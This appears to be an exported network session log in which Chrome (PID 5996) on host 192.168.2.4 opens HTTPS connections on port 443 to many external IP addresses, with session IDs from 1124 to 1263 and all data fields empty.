Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1124	192.168.2.4	51068	192.184.68.228	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1125	192.168.2.4	51145	35.211.118.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1126	192.168.2.4	51184	3.209.218.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1127	192.168.2.4	51210	34.150.170.96	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1128	192.168.2.4	51111	216.200.232.253	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1129	192.168.2.4	51173	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1130	192.168.2.4	51189	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1131	192.168.2.4	51192	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1132	192.168.2.4	51220	34.36.216.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1133	192.168.2.4	51172	192.184.68.228	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1134	192.168.2.4	51170	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1135	192.168.2.4	51217	38.68.201.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1136	192.168.2.4	51171	147.28.129.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1137	192.168.2.4	51168	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1138	192.168.2.4	51204	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1139	192.168.2.4	51167	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1140	192.168.2.4	51209	146.59.136.188	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1141	192.168.2.4	51182	52.6.5.199	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1142	192.168.2.4	51211	104.18.25.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1143	192.168.2.4	51157	23.48.104.109	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1144	192.168.2.4	51200	64.74.236.159	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1145	192.168.2.4	51212	162.55.120.196	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1146	192.168.2.4	51213	45.55.126.71	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1147	192.168.2.4	51201	64.74.236.159	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1148	192.168.2.4	51185	8.28.7.84	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1149	192.168.2.4	51230	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1150	192.168.2.4	51216	35.207.24.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1151	192.168.2.4	51208	35.186.193.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1152	192.168.2.4	51219	74.119.119.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1153	192.168.2.4	51207	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1154	192.168.2.4	51223	34.203.68.24	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1155	192.168.2.4	51225	34.203.68.24	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1156	192.168.2.4	51224	207.65.32.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1157	192.168.2.4	51222	82.145.213.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1158	192.168.2.4	51226	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1159	192.168.2.4	51252	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1160	192.168.2.4	51177	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1161	192.168.2.4	51229	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1162	192.168.2.4	51261	54.166.87.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1163	192.168.2.4	51214	45.55.126.71	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1164	192.168.2.4	51268	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1165	192.168.2.4	51190	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1166	192.168.2.4	51197	64.74.236.159	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1167	192.168.2.4	51244	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1168	192.168.2.4	51198	64.74.236.159	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1169	192.168.2.4	51270	34.111.113.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1170	192.168.2.4	51241	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1171	192.168.2.4	51228	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1172	192.168.2.4	51237	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1173	192.168.2.4	51265	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1174	192.168.2.4	51258	54.156.138.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1175	192.168.2.4	51271	67.220.224.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1176	192.168.2.4	51231	68.67.181.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1177	192.168.2.4	51281	35.210.53.219	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1178	192.168.2.4	51193	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1179	192.168.2.4	51199	64.74.236.159	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1180	192.168.2.4	51245	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1181	192.168.2.4	51253	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1182	192.168.2.4	51242	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1183	192.168.2.4	51233	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1184	192.168.2.4	51340	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1185	192.168.2.4	51191	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1186	192.168.2.4	51280	104.18.25.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1187	192.168.2.4	51312	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1188	192.168.2.4	51278	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1189	192.168.2.4	51269	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1190	192.168.2.4	51285	34.111.113.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1191	192.168.2.4	51290	3.210.126.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1192	192.168.2.4	51236	185.184.8.90	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1193	192.168.2.4	51279	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1194	192.168.2.4	51257	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1195	192.168.2.4	51288	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1196	192.168.2.4	51274	104.18.25.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1197	192.168.2.4	51296	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1198	192.168.2.4	51260	184.73.166.124	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1199	192.168.2.4	51321	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1200	192.168.2.4	51277	8.28.7.82	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1201	192.168.2.4	51287	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1202	192.168.2.4	51264	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1203	192.168.2.4	51328	69.166.1.35	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1204	192.168.2.4	51293	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1205	192.168.2.4	51316	100.24.220.190	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1206	192.168.2.4	51341	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1207	192.168.2.4	51289	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1208	192.168.2.4	51313	124.146.153.161	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1209	192.168.2.4	51251	8.28.7.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1210	192.168.2.4	51352	15.197.193.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1211	192.168.2.4	51248	8.28.7.84	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1212	192.168.2.4	51254	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1213	192.168.2.4	51256	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1214	192.168.2.4	51346	34.117.239.71	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1215	192.168.2.4	51327	54.156.138.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1216	192.168.2.4	51298	216.22.16.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1217	192.168.2.4	51273	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1218	192.168.2.4	51283	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1219	192.168.2.4	51345	195.5.165.20	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1220	192.168.2.4	51308	3.209.99.206	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1221	192.168.2.4	51351	34.150.170.96	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1222	192.168.2.4	51295	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1223	192.168.2.4	51359	8.28.7.84	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1224	192.168.2.4	51276	35.210.53.219	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1225	192.168.2.4	51263	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1226	192.168.2.4	51309	18.160.24.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1227	192.168.2.4	51311	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1228	192.168.2.4	51302	34.111.205.194	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1229	192.168.2.4	51305	162.19.138.117	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1230	192.168.2.4	51348	34.117.239.71	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1231	192.168.2.4	51404	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1232	192.168.2.4	51399	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1233	192.168.2.4	51385	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1234	192.168.2.4	51343	3.210.126.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1235	192.168.2.4	51322	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1236	192.168.2.4	51395	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1237	192.168.2.4	51334	69.166.1.35	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1238	192.168.2.4	51326	147.28.129.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1239	192.168.2.4	51397	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1240	192.168.2.4	51272	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1241	192.168.2.4	51372	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1242	192.168.2.4	51275	35.210.53.219	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1243	192.168.2.4	51337	134.122.57.34	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1244	192.168.2.4	51400	64.202.112.159	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1245	192.168.2.4	51330	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1246	192.168.2.4	51358	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1247	192.168.2.4	51297	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1248	192.168.2.4	51317	8.18.47.7	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1249	192.168.2.4	51376	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1250	192.168.2.4	51314	34.111.113.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1251	192.168.2.4	51349	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1252	192.168.2.4	51353	8.28.7.82	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1253	192.168.2.4	51375	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1254	192.168.2.4	51259	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1255	192.168.2.4	51365	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1256	192.168.2.4	51357	3.209.218.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1257	192.168.2.4	51315	3.225.218.10	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1258	192.168.2.4	51350	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1259	192.168.2.4	51307	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1260	192.168.2.4	51405	174.137.133.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1261	192.168.2.4	51344	100.24.220.190	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1262	192.168.2.4	51377	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1263	192.168.2.4	51391	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

